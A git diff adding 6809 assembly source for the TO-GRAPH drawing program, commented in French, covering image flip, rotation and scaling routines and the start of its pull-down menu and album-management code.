+       FCB    FLOCF,2,4,1,6,FTOURE
+       FCB    FEDI,ESC,$4E,SS2,$2C,96
+       FCB    SS2,$2E,0
+       FCB    FPOUSS,BS,OFF
+
+       FCB    FLOCF,4,2,3,2,FTOURE
+       FCB    FEDI,ESC,$4C,95,LF,BS
+       FCB    ESC,$4E,SS2,$2F,0
+       FCB    FPOUSS,29,OFF
+
+       FCB    FLOCF,4,6,3,2,FTOURE
+       FCB    FEDI,SS2,$2D,LF,BS,BS,124
+       FCB    LF,BS,BS,SS2,$2F,0
+       FCB    FPOUSS,LF,OFF
+
+       FCB    FLOCF,4,10,3,2,FTOURE
+       FCB    FEDI,LF,SS2,$2D,LF,BS,BS
+       FCB    ESC,$4C,126,0
+       FCB    FPOUSS,30,OFF
+
+       FCB    FLOCF,8,4,3,6,FTOURE
+       FCB    FEDI,ESC,$4E,SP,SS2,$2D
+       FCB    LF,BS,BS,BS,BS,SS2,$2C
+       FCB    SP,SS2,$2E,BS,BS,BS,BS,LF
+       FCB    SS2,$2F,ESC,$4C,0
+       FCB    FPOUSS,28,OFF
+       FCB    FSTOP
+
+FFCNFT FCB    FLOCF,0,0,5,22
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,3,20
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,2,2,1,20
+       FCB    FEDI
+       FCC    \OKAnnuler\
+       FCB    0
+       FCB    FLOCF,2,6,1,1
+       FCB    FEDI,BALISE,0
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,2,18,1,1
+       FCB    FEDI,BALISE,0
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+MPBMDT FCC    \ROTATIONIMPOSSIBLE\
+       FCB    0
+
+FFEXPT FCB    FLOCA,1,4,23,74
+       FCB    FCOMF,FF,OFF
+       FCB    FSTOP
+
+MODTIR LEAS   -920,S
+COEFTL SET    0
+COEFTH SET    4
+MEMXT  SET    8
+NEWXT0 SET    10
+NEWYT0 SET    12
+NEWXT1 SET    14
+NEWYT1 SET    16
+MULTL  SET    18
+MULTH  SET    19
+MMTOR  SET    20
+MMNOIR SET    21      FF=> ligne en cour
+BUFFER SET    22
+*---------------------------------------
+
+       LEAX   FFMODT,PCR
+       LDB    REGY+1
+       LSRB
+       LSRB
+       LSRB
+       LDA    #10
+       CMPB   #10
+       BLE    MODT00    ->
+       TFR    A,B
+MODT00 PSHS   B
+       LDD    REGX
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    #63
+       CMPB   #63
+       BLE    MODT01    ->
+       TFR    A,B
+MODT01 PULS   A
+       JSR    FENOUV
+
+MODT0  JSR    FENACT
+MODT1  JSR    FEN
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       TSTB
+       BEQ    MODT1     ->
+       CMPB   #BS
+       LBEQ   MTDG      ->
+       CMPB   #HT
+       LBEQ   MTDG      ->
+       CMPB   #LF
+       LBEQ   MTHB      ->
+       CMPB   #VT
+       LBEQ   MTHB      ->
+       CMPB   #29
+       LBEQ   MTROTP    ->
+       CMPB   #30
+       LBEQ   MTROTM    ->
+       CMPB   #28
+       LBEQ   MTEXP     ->
+       CMPB   #FF
+       LBNE   MODT1     ->
+       CLRB
+       JSR    FENFER
+       LBRA   MTRET     ->
+
+*** Retournement Droite Gauche
+MTDG   EQU    *
+       CLRB
+       JSR    FENFER
+       JSR    CLRTIR
+
+       LDX    #0
+BMTDG0 LDA    <HPTTIR
+       STA    <CPTLT
+
+BMTDG1 TFR    X,U
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D35
+       LBSR   SBREAK
+       LBCS   MTRETA    ->
+       TFR    U,X
+       DEC    <CPTLT
+       LDA    <CPTLT
+       CMPA   #-1
+       BEQ    BMTDG2    ->
+       JSR    LECTXY
+       BEQ    BMTDG1    ->
+       PSHS   X
+       LDD    <LPTTIR
+       SUBD   ,S
+       ADDD   #31
+       TFR    D,X
+       CLRA
+       LDB    #8
+       ADDB   <CPTLT
+       TFR    D,Y
+       LDB    #PSETXY
+       JSR    EXTRA
+       PULS   X
+       LBRA   BMTDG1    ->
+
+BMTDG2 LEAX   1,X
+       CMPX   <LPTTIR
+       LBNE   BMTDG0    ->
+
+       LBRA   MTFIN     ->
+
+*** Retournement Haut Bas
+MTHB   EQU    *
+       CLRB
+       JSR    FENFER
+       JSR    CLRTIR
+
+       LDX    #0
+BMTHB0 LDA    <HPTTIR
+       STA    <CPTLT
+
+BMTHB1 TFR    X,U
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D35
+       LBSR   SBREAK
+       LBCS   MTRETA    ->
+       TFR    U,X
+       DEC    <CPTLT
+       LDA    <CPTLT
+       CMPA   #-1
+       BEQ    BMTHB2    ->
+       JSR    LECTXY
+       BEQ    BMTHB1    ->
+       LEAX   32,X
+       CLRA
+       LDB    #7
+       ADDB   <HPTTIR
+       SUBB   <CPTLT
+       TFR    D,Y
+       LDB    #PSETXY
+       JSR    EXTRA
+       LEAX   -32,X
+       LBRA   BMTHB1    ->
+
+BMTHB2 LEAX   1,X
+       CMPX   <LPTTIR
+       LBNE   BMTHB0    ->
+
+       LBRA   MTFIN     ->
+
+*** Rotation sens horaire
+MTROTP EQU    *
+       LDD    <LPTTIR
+       CMPD   #184
+       BLE    MTRTP0    ->
+       LEAX   MPBMDT,PCR
+       JSR    FENERR
+       LBRA   MODT0     ->
+
+MTRTP0 EQU    *
+       CLRB
+       JSR    FENFER
+       LDD    #$0104    fond tramé
+       LDY    #$174A
+       JSR    FENLOC
+       JSR    FENTRA
+       LDD    <XT1
+       PSHS   D
+       CLRA
+       LDB    <YT1
+       SUBB   #8
+       ADDB   #32
+       STD    <XT1
+       PULS   D
+       SUBB   #32
+       ADDB   #8
+       STB    <YT1
+       JSR    CLRTIR
+
+       LDX    #0
+BMTRP0 LDA    <HPTTIR
+       STA    <CPTLT
+
+BMTRP1 TFR    X,U
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D35
+       LBSR   SBREAK
+       LBCS   MTRETA    ->
+       TFR    U,X
+       DEC    <CPTLT
+       LDA    <CPTLT
+       CMPA   #-1
+       BEQ    BMTRP2    ->
+       JSR    LECTXY
+       BEQ    BMTRP1    ->
+       PSHS   X
+       LEAX   8,X
+       TFR    X,Y
+       CLRA
+       LDB    <HPTTIR
+       SUBB   <CPTLT
+       ADDB   #31
+       TFR    D,X
+       LDB    #PSETXY
+       JSR    EXTRA
+       PULS   X
+       LBRA   BMTRP1    ->
+
+BMTRP2 LEAX   1,X
+       CMPX   <LPTTIR
+       LBNE   BMTRP0    ->
+
+       LBRA   MTFIN     ->
+
+*** Rotation sens anti-horaire
+MTROTM EQU    *
+       LDD    <LPTTIR
+       CMPD   #184
+       BLE    MTRTM0    ->
+       LEAX   MPBMDT,PCR
+       JSR    FENERR
+       LBRA   MODT0     ->
+
+MTRTM0 EQU    *
+       CLRB
+       JSR    FENFER
+       LDD    #$0104    fond tramé
+       LDY    #$174A
+       JSR    FENLOC
+       JSR    FENTRA
+       LDD    <XT1
+       PSHS   D
+       CLRA
+       LDB    <YT1
+       SUBB   #8
+       ADDB   #32
+       STD    <XT1
+       PULS   D
+       SUBB   #32
+       ADDB   #8
+       STB    <YT1
+       JSR    CLRTIR
+
+       LDX    #0
+BMTRM0 LDA    <HPTTIR
+       STA    <CPTLT
+
+BMTRM1 TFR    X,U
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D35
+       LBSR   SBREAK
+       LBCS   MTRETA    ->
+       TFR    U,X
+       DEC    <CPTLT
+       LDA    <CPTLT
+       CMPA   #-1
+       BEQ    BMTRM2    ->
+       JSR    LECTXY
+       BEQ    BMTRM1    ->
+       PSHS   X
+       CLRA
+       LDB    <CPTLT
+       ADDD   #32
+       TFR    D,X
+       LDD    <LPTTIR
+       SUBD   ,S
+       ADDD   #7
+       TFR    D,Y
+       LDB    #PSETXY
+       JSR    EXTRA
+       PULS   X
+       LBRA   BMTRM1    ->
+
+BMTRM2 LEAX   1,X
+       CMPX   <LPTTIR
+       LBNE   BMTRM0    ->
+
+       LBRA   MTFIN     ->
+
+*** Expension tiroir
+MTEXP  EQU    *
+       CLRB
+       JSR    FENFER
+       LEAX   FFEXPT,PCR
+       LDD    #0
+       JSR    FENOUV
+
+       LDA    #2        tortue invisible
+       STA    MMTOR,S
+       CLRB
+       JSR    FENTOR
+
+       LDD    #32       zone délimitée
+       STD    X0TIRE
+       LDD    #8
+       STD    Y0TIRE
+       LDA    TLIGN
+       PSHS   A
+       LDA    #1
+       STA    TLIGN
+       CLR    FILFLG
+       LDX    REGX
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y1TIRE
+       JSR    TRINV
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+       PULS   A
+       STA    TLIGN
+
+* Sélection nouvelle forme
+
+       JSR    FENACT
+
+EXSFT1 LDU    #PILFEN
+       JSR    FEN
+       PSHU   CC,D,X,Y
+       CMPB   #FF
+       BNE    EXSFT2    ->
+
+EXSFTA CLRB             RAZ !
+       JSR    FENFER
+       LDD    #0        tortue std
+       JSR    FENTOR
+       LBRA   MTRETA    ->
+
+*** Tester la gestion souris
+
+EXSFT2 LDA    REGCC
+       TFR    A,CC
+       LBCC   EXSFT8    ->
+
+EXSFT3 JSR    LPIN
+       BCS    EXSFT3    ->
+
+*** Clic de sélection
+
+*      calcul dimensions point de la
+*      zone... on ignore si trop petite
+*      (erreur probable !)
+       LDD    Y1TIRE
+       SUBD   Y0TIRE
+       ADDD   #1
+       CMPD   #8
+       LBCS   EXSFT1    ->
+       LDD    X1TIRE
+       SUBD   X0TIRE
+       ADDD   #1
+       CMPD   #8
+       LBCS   EXSFT1    ->
+
+       CLRB
+       JSR    FENFER
+       LDD    #0        tortue std
+       JSR    FENTOR
+       LDD    #$0104    fond tramé
+       LDY    #$174A
+       JSR    FENLOC
+       JSR    FENTRA
+       LDD    X1TIRE
+       STD    <XT1
+       LDD    Y1TIRE
+       STB    <YT1
+       JSR    CLRTIR
+
+       LDD    X1TIRE    calcul rapport
+       SUBD   X0TIRE    largeur
+       ADDD   #1
+       STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       LDA    #2
+       STA    VALTYP
+       LDD    <LPTTIR
+       STD    FACMO
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #DIVGO
+       JSR    EXTRA
+       LEAX   COEFTL,S
+       LDB    #MOVMF
+       JSR    EXTRA
+
+       LDB    #MOVAF    voir si coef > 1
+       JSR    EXTRA
+       LDD    #1
+       STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #SUBGO
+       JSR    EXTRA
+       LDB    #SGN
+       JSR    EXTRA
+       LDD    FACMO
+       STB    MULTL,S
+
+       LDD    Y1TIRE    calcul rapport
+       SUBD   Y0TIRE    largeur
+       ADDD   #1
+       STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       LDA    #2
+       STA    VALTYP
+       CLRA
+       LDB    <HPTTIR
+       STD    FACMO
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #DIVGO
+       JSR    EXTRA
+       LEAX   COEFTH,S
+       LDB    #MOVMF
+       JSR    EXTRA
+       CLR    MMNOIR,S
+
+       LDB    #MOVAF    voir si coef > 1
+       JSR    EXTRA
+       LDD    #1
+       STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #SUBGO
+       JSR    EXTRA
+       LDB    #SGN
+       JSR    EXTRA
+       LDD    FACMO
+       STB    MULTH,S
+
+       LDX    #0        expension
+       STX    MEMXT,S
+BMTRE0 CLR    <CPTLT
+
+       LEAX   BUFFER,S  test d'interrupt
+       LDD    #$0D35
+       LBSR   SBREAK
+       LBCS   MTRETA    ->
+BMTRE1 LDX    MEMXT,S
+       JSR    LECTXY
+       LBNE   LMTR90    pt noir ->
+
+       TST    MMNOIR,S
+       LBEQ   LMTRE9    lg blanche ->
+
+       COM    MMNOIR,S
+       LEAX   COEFTH,S  calcul coord. y
+       LDA    #4        fin de ligne
+       STA    VALTYP
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       CLRA
+       LDB    <CPTLT
+       TST    MULTH,S
+       BPL    LMTR40    ->
+       DECB
+LMTR40 STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MULTGO
+       JSR    EXTRA
+       LDA    #2
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       TST    MULTH,S
+       BMI    LMTR50    ->
+       SUBD   #1
+LMTR50 STD    NEWYT1,S
+
+       LDX    NEWXT0,S  tracé ligne en
+       LEAX   32,X
+       STX    XXXXXX    cours
+       LDX    NEWXT1,S
+       LEAX   32,X
+       CMPX   X1TIRE
+       BLE    BMTR70    ->
+       LDX    X1TIRE
+BMTR70 LDY    NEWYT0,S
+       LEAY   8,Y
+       STY    YYYYYY
+       LDY    NEWYT1,S
+       LEAY   8,Y
+       CMPY   Y1TIRE
+       BLE    BMTR71    ->
+       LDY    Y1TIRE
+BMTR71 LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       LDB    #BOX
+       CMPX   XXXXXX
+       BNE    BMTR91    ->
+       LDB    #LINE
+BMTR91 JSR    EXTRA
+       LBRA   LMTRE9    ->
+
+LMTR90 TST    MMNOIR,S
+       LBNE   LMTRE9    suite ligne ->
+
+       COM    MMNOIR,S
+       LEAX   COEFTL,S  calcul coord.
+       LDA    #4        debut ligne
+       STA    VALTYP
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       LDX    MEMXT,S
+       STX    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MULTGO
+       JSR    EXTRA
+       LDA    #2
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       STD    NEWXT0,S
+       STD    NEWXT1,S
+       TST    MULTL,S
+       BLE    LMTRE0    ->
+
+       LEAX   COEFTL,S calcul nb pt en x
+       LDA    #4
+       STA    VALTYP
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       LDX    MEMXT,S
+       LEAX   1,X
+       STX    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MULTGO
+       JSR    EXTRA
+       LDA    #2
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       SUBD   #1
+       CMPD   NEWXT0,S
+       BLE    LMTRE0    ->
+       STD    NEWXT1,S
+
+LMTRE0 LEAX   COEFTH,S  calcul coord. y
+       LDA    #4        deb de ligne
+       STA    VALTYP
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       CLRA
+       LDB    <CPTLT
+       STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MULTGO
+       JSR    EXTRA
+       LDA    #2
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       STD    NEWYT0,S
+       STD    NEWYT1,S  si pas d'augment
+
+LMTRE9 INC    <CPTLT    # fin d'un pt
+       LDA    <CPTLT
+       CMPA   <HPTTIR
+       LBNE   BMTRE1    ->
+
+       TST    MMNOIR,S  # fin d'une lign
+       LBEQ   BMTR93    lig blanche ->
+
+       COM    MMNOIR,S
+       TST    MULTH,S   calcul coord. y
+       BEQ    LMTR60    ->
+       LEAX   COEFTH,S
+       LDA    #4
+       STA    VALTYP
+       LDB    #MOVFM
+       JSR    EXTRA
+       LDB    #MOVAF
+       JSR    EXTRA
+       CLRA
+       LDB    <CPTLT
+       STD    FACMO
+       LDA    #2
+       STA    VALTYP
+       LDA    #4
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDB    #MULTGO
+       JSR    EXTRA
+       LDA    #2
+       LDB    #FRCTYP
+       JSR    EXTRA
+       LDD    FACMO
+       SUBD   #1
+       STD    NEWYT1,S
+
+LMTR60 LDX    NEWXT0,S  tracé ligne en
+       LEAX   32,X      cours
+       STX    XXXXXX
+       LDX    NEWXT1,S
+       LEAX   32,X
+       CMPX   X1TIRE
+       BLE    BMTR80    ->
+       LDX    X1TIRE
+BMTR80 LDY    NEWYT0,S
+       LEAY   8,Y
+       STY    YYYYYY
+       LDY    NEWYT1,S
+       LEAY   8,Y
+       CMPY   Y1TIRE
+       BLE    BMTR81    ->
+       LDY    Y1TIRE
+BMTR81 LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       LDB    #BOX
+       CMPX   XXXXXX
+       BNE    BMTR92    ->
+       LDB    #LINE
+BMTR92 JSR    EXTRA
+
+BMTR93 LDX    MEMXT,S
+       LEAX   1,X
+       STX    MEMXT,S
+       CMPX   <LPTTIR
+       LBNE   BMTRE0    ->
+
+       LBRA   MTFIN     ->
+
+*** Gestion annulation souris
+EXSFT8 LDA    REGCC
+       TFR    A,CC
+       BNE    EXSFT9    ->
+EXSFTZ JSR    LPIN      clic droit !
+       BEQ    EXSFTZ    ->
+       LBRA   EXSFTA    ->
+
+*** Gestion déplacement
+EXSFT9 LDA    REGA
+       LBEQ   EXSFT1    ->
+       LDX    #$0104
+       LDY    #$174A
+       JSR    SOUDAN
+       BCS    EXST00    ->
+       TST    MMTOR,S
+       LBEQ   EXSFT1    ->
+       LDD    #0        tortue std
+       STA    MMTOR,S
+       JSR    FENTOR
+       LBRA   EXSFT1    ->
+EXST00 LDA    MMTOR,S
+       CMPA   #2
+       BEQ    EXST01    ->
+       LDA    #2        tortue invisible
+       STA    MMTOR,S
+       CLRB
+       JSR    FENTOR
+EXST01 JSR    FENDES
+       LDA    TLIGN
+       PSHS   A
+       LDA    #1
+       STA    TLIGN
+       JSR    TRINV     ancien tracé
+       CLR    FILFLG
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+
+       LDX    REGX      nouveau tracé
+       STX    X1TIRE
+       LDY    REGY
+       STY    Y1TIRE
+       JSR    TRINV
+       JSR    TRRECT
+       JSR    TRINV
+       JSR    TRLIGN
+       PULS   A
+       STA    TLIGN
+       JSR    FENACT
+       LBRA   EXSFT1    ->
+
+*** Demande de confirmation de la modif.
+MTFIN  EQU    *
+       LEAX   FFCNFT,PCR
+       LDB    REGY+1
+       LSRB
+       LSRB
+       LSRB
+       LDA    #19
+       CMPB   #19
+       BLE    MTFIN0    ->
+       TFR    A,B
+MTFIN0 PSHS   B
+       LDD    REGX
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    #57
+       CMPB   #57
+       BLE    MTFIN1    ->
+       TFR    A,B
+MTFIN1 PULS   A
+       JSR    FENOUV
+       JSR    FENACT
+MTFIN2 LDU    #PILFEN
+       JSR    FEN
+       PSHU   CC,D,X,Y
+       CMPB   #RC
+       BEQ    MTFINO    ok ->
+       CMPB   #FF
+       BEQ    MTFINA    annul. ->
+       BRA    MTFIN2    ->
+
+*** Confirmation / lect. nouveau tiroir
+MTFINO CLRB
+       JSR    FENFER
+
+       JSR    LITTIR    Nb: XT0 ... sont
+*                           ok !
+
+       LBRA   MTRET     ->
+
+*** Annulation / revisu. tiroir
+MTFINA CLRB
+       JSR    FENFER
+MTRETA LDD    #$0104    fond tramé
+       LDY    #$174A
+       JSR    FENLOC
+       JSR    FENTRA
+       LDX    #32
+       LDY    #8
+       LDA    #1
+       JSR    VISTIR
+
+* Fin du traitement du tiroir
+*---------------------------------------
+
+MTRET  JSR    FENACT
+       LEAS   920,S
+       RTS
+
+
+*=======================================
+* S/P traitement de la fenêtre de
+*     cadrage de la feuille
+*
+* Entrée: A  =0   cadrage seul
+*            #0   +sélection zone
+*
+* Sortie: <ADF    pour le cadrage
+*    et si sélection zone:
+*         CADRNG  rangée début  (0..101)
+*         CADCOL  colonne début (0..69 )
+*         CADHAU  hauteur       (1..102)
+*         CADLAR                (1..120)
+*         B       sélection externe even
+*         A       interrupteur pleine
+*                 page
+*         Z    1  zone ok
+*              0  feuille vide ou aband.
+*=======================================
+
+SPCADR PSHS   U
+       LDU    #XSPCAD
+       JSR    COMBK2
+       PULS   U,PC
+
+
+*=======================================
+* S/P visualisation du tiroir
+*
+* Entrée: X   coord. graphique haut
+*         Y   gauche
+*         A   #0 si effacement préalable
+*=======================================
+
+VISTIR LDU    #XVISTI
+       JSR    COMBK2
+       RTS
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-MN.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-MN.ASM
new file mode 100755
index 0000000..0ac57e3
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-MN.ASM
@@ -0,0 +1,1633 @@
+       TITLE  TO-GRAPH:Menusderoulants
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           Menu déroulants            *
+*                                      *
+****************************************
+
+*=======================================
+* S/P Prise en compte commandes fenêtre
+*     principale
+*
+* Entrée: X  ad. traitement retour
+*         Y  ad. traitement RAZ
+*         A  code RAZ en plus FF
+*         B  car. saisie
+* Sortie: U  ad. exec. (0 si non filtré)
+*=======================================
+
+ABORT  PSHS   A
+PA     SET    0
+*---------------------------------------
+       CMPB   #FF
+       LBEQ   ABORTZ    ->
+       CMPB   PA,S
+       LBEQ   ABORTZ    ->
+       CMPB   #$90
+       LBEQ   ABORTR    ->
+       CMPB   #$91
+       LBEQ   ABORTR    ->
+       CMPB   #$92
+       LBEQ   ABORTR    ->
+       CMPB   #$93
+       LBEQ   ABORRR    ->
+       CMPB   #$94
+       LBEQ   ABORTR    ->
+       CMPB   #$98
+       LBEQ   ABORTR    ->
+       CMPB   #$0F
+       LBEQ   ABORTR    ->
+       CMPB   #$10
+       LBEQ   ABORTR    ->
+       CMPB   #$11
+       BEQ    ABORTR    ->
+       CMPB   #$12
+       BEQ    ABORTR    ->
+       CMPB   #$13
+       BEQ    ABORTR    ->
+       CMPB   #$14
+       BEQ    ABORTR    ->
+       CMPB   #$15
+       BEQ    ABORTR    ->
+       CMPB   #$05
+       BEQ    ABORTR    ->
+       CMPB   #BS
+       BEQ    ABORTR    ->
+       CMPB   #HT
+       BEQ    ABORTR    ->
+       CMPB   #VT
+       BEQ    ABORTR    ->
+       CMPB   #LF
+       BEQ    ABORTR    ->
+       CMPB   #$80+BS
+       BEQ    ABORTR    ->
+       CMPB   #$80+HT
+       BEQ    ABORTR    ->
+       CMPB   #$80+VT
+       BEQ    ABORTR    ->
+       CMPB   #$80+LF
+       BEQ    ABORTR    ->
+       CMPB   #RS
+       BEQ    ABORTR    ->
+       CMPB   #INS
+       BEQ    ABORTR    ->
+       CMPB   #$80
+       BEQ    ABORTR    ->
+       CMPB   #$81
+       BEQ    ABORTR    ->
+       LDU    #0
+       PULS   A,PC
+ABORTZ TFR    Y,U
+       PULS   A,PC      ->>
+
+ABORRR PSHS   X
+       LDU    #100
+ABORR0 JSR    FEN
+       CMPB   #$93
+       BEQ    ABORR1    ->
+       LEAU   -1,U
+       CMPU   #0
+       BEQ    ABORR2    ->
+       BRA    ABORR0    ->
+
+ABORR1 PULS   X
+       LDB    #$98      double clic
+       TFR    X,U
+       PULS   A,PC      ->>
+
+ABORR2 PULS   X
+       LDB    #$93
+
+ABORTR TFR    X,U
+       PULS   A,PC      ->>
+
+
+*=======================================
+* S/P affichage de 4 occurences d'un
+*     caractère de motif pointé dans
+*     le carreau courant (FENTXT)
+*
+* Entrée: Y  pointe motif du car.
+*=======================================
+
+PUTMOT FCB    $20,$20,$20,$20,0
+AF4MOT PSHS   D,X,Y,U
+*---------------------------------------
+       LDU    PTGENE
+       STY    PTGENE
+       LEAX   PUTMOT,PCR
+       JSR    FENTXT
+       STU    PTGENE
+       PULS   D,X,Y,U,PC ->
+
+
+*=======================================
+* S/P affichage options de tracé sur
+*     fenêtre principale inactive !!!
+*=======================================
+
+AFFOPT EQU    *
+*---------------------------------------
+       LDA    OUTIL     outil courant
+       LSLA
+       LDX    #TMOUTI
+       LDX    A,X
+       LDD    #$0101
+       LDY    #$0202
+       JSR    FENLOC
+       JSR    FENTXT
+
+       LDD    #$0401    motif remplis.
+       LDY    #$0202
+       JSR    FENLOC
+       LDY    #CARMOT
+       JSR    AF4MOT
+
+       LDB    #$14      taille lignes
+       JSR    FENCH
+       LDA    TLIGN
+       DECA
+       LDB    #5
+       MUL
+       LDX    #MLIGN1
+       ABX
+       JSR    FENTXT
+
+       LDB    #$15      taille caractère
+       JSR    FENCH
+       LDA    TCAR
+       SUBA   #$4C
+       LSLA
+       LDX    #TMMT
+       LDX    A,X
+       JSR    FENTXT
+       RTS
+
+
+*=======================================
+* S/P affichage d'un caractère motif en
+*     loupe
+*
+* Entrée: A,B coordonnées loupe (absolu)
+*         Y   pt motif
+*=======================================
+
+LPMOTI PSHS   D,X,Y,U
+       LEAS   -5,S
+CPTL   SET    0
+CPTC   SET    1
+MOTL   SET    2
+RNGLP  SET    3
+COLLP  SET    4
+*---------------------------------------
+       TFR    Y,U
+
+       LDY    #$0808
+       JSR    FENLOC
+       JSR    FENFON
+       ADDA   #7
+       STD    RNGLP,S
+
+       LDA    #8
+       STA    CPTL,S
+BLPML  LDA    ,U+
+       STA    MOTL,S
+       LDA    #8
+       STA    CPTC,S
+BLPMC  LSL    MOTL,S
+       BCC    LLPMC     ->
+       LDD    RNGLP,S
+       LDY    #$0101
+       JSR    FENLOC
+       JSR    FENIVD
+LLPMC  INC    COLLP,S
+       DEC    CPTC,S
+       BNE    BLPMC     ->
+       LDA    COLLP,S
+       SUBA   #8
+       STA    COLLP,S
+       DEC    RNGLP,S
+       DEC    CPTL,S
+       BNE    BLPML     ->
+
+       LEAS   5,S
+       PULS   D,X,Y,U,PC
+
+
+*=======================================
+* S/P menu déroulant de gestion albums
+*
+* Sortie: B  code menu principal sélect.
+*=======================================
+
+SPALBU EQU    *
+*---------------------------------------
+
+       LDX    #FALBUM
+       LDD    #$022D
+       JSR    FENOUV
+
+EXECA1 JSR    FENACT
+EXECA2 JSR    FEN
+       TSTB
+       BEQ    EXECA2    ->
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       CMPB   #$43      C
+       LBEQ   XACON     ->
+       CMPB   #$41      A
+       LBEQ   XALEC     ->
+       CMPB   #$45      E
+       LBEQ   XECAL     ->
+       CMPB   #$56      V
+       LBEQ   XALVIS    ->
+       CMPB   #$53      S
+       LBEQ   XALSUP    ->
+       LDA    #$93
+       LDX    #XARET
+       LDY    #XARETZ
+       JSR    ABORT
+       CMPU   #0
+       BEQ    EXECA2    ->
+       JMP    ,U
+
+*** Copie -> Tiroir
+XACON  EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDD    #$0806
+       LDY    #1
+       JSR    SELALB
+       BCS    XACONF    raz ->
+       STX    ALBCOU
+
+* Nb: posit. bank car CODE maintient un
+*     pseudo bank courant
+
+       PSHS   X
+       LDB    #ESC      tour magenta
+       JSR    PUTC
+       LDB    #$65
+       JSR    PUTC
+
+       JSR    FENDES
+       JSR    SAUVE
+       JSR    TRAMIN    fixe écran trav
+
+       LDA    OUTIL     outil "copier"
+       STA    COPAOU      temporaire
+       LDA    #$FF
+       STA    COPALB
+       LDA    #COUCOP
+       STA    OUTIL
+       JSR    AFFOPT
+       PULS   X
+
+       LDD    #$A002
+       STD    DEBZON
+       LDA    BANKC     mémo
+       LDB    8,X
+       STB    BANKC
+       DECB
+       STB    DEBZON+2
+       LDB    #$FF
+       STB    PUTFLG
+       LDB    #5
+       STB    X0COD
+       LDB    #1
+       STB    Y0COD
+       LDB    #CODE
+       JSR    EXTRA
+       STA    BANKC
+
+       JSR    TRAMAX
+       JSR    FENACT
+       CLRB
+       RTS              ->>
+
+XACONF LDB    #$43      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECA1    ->
+
+*** Album -> Ecran
+XALEC  EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDD    #$0806
+       LDY    #1
+       JSR    SELALB
+       BCS    XALECF    raz ->
+       STX    ALBCOU
+
+*      décodage image
+* Nb: posit. bank car CODE maintient un
+*     pseudo bank courant
+
+       JSR    FENDES
+       JSR    SAUVE
+       JSR    TRAMIN    fixe écran trav
+
+       LDD    #$A002
+       STD    DEBZON
+       LDA    BANKC     mémo
+       LDB    8,X
+       STB    BANKC
+       DECB
+       STB    DEBZON+2
+       LDB    #$FF
+       STB    PUTFLG
+       LDB    #5
+       STB    X0COD
+       LDB    #1
+       STB    Y0COD
+       LDB    #CODE
+       JSR    EXTRA
+       STA    BANKC
+
+       JSR    TRAMAX  restaure écr trav
+       JSR    FENACT
+       CLRB
+       RTS            ->>
+
+XALECF LDB    #$41      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECA1    ->
+
+*** Ecran -> Album
+XECAL  EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDD    #$081E
+       LDX    #FILNAM
+       JSR    CZIALB
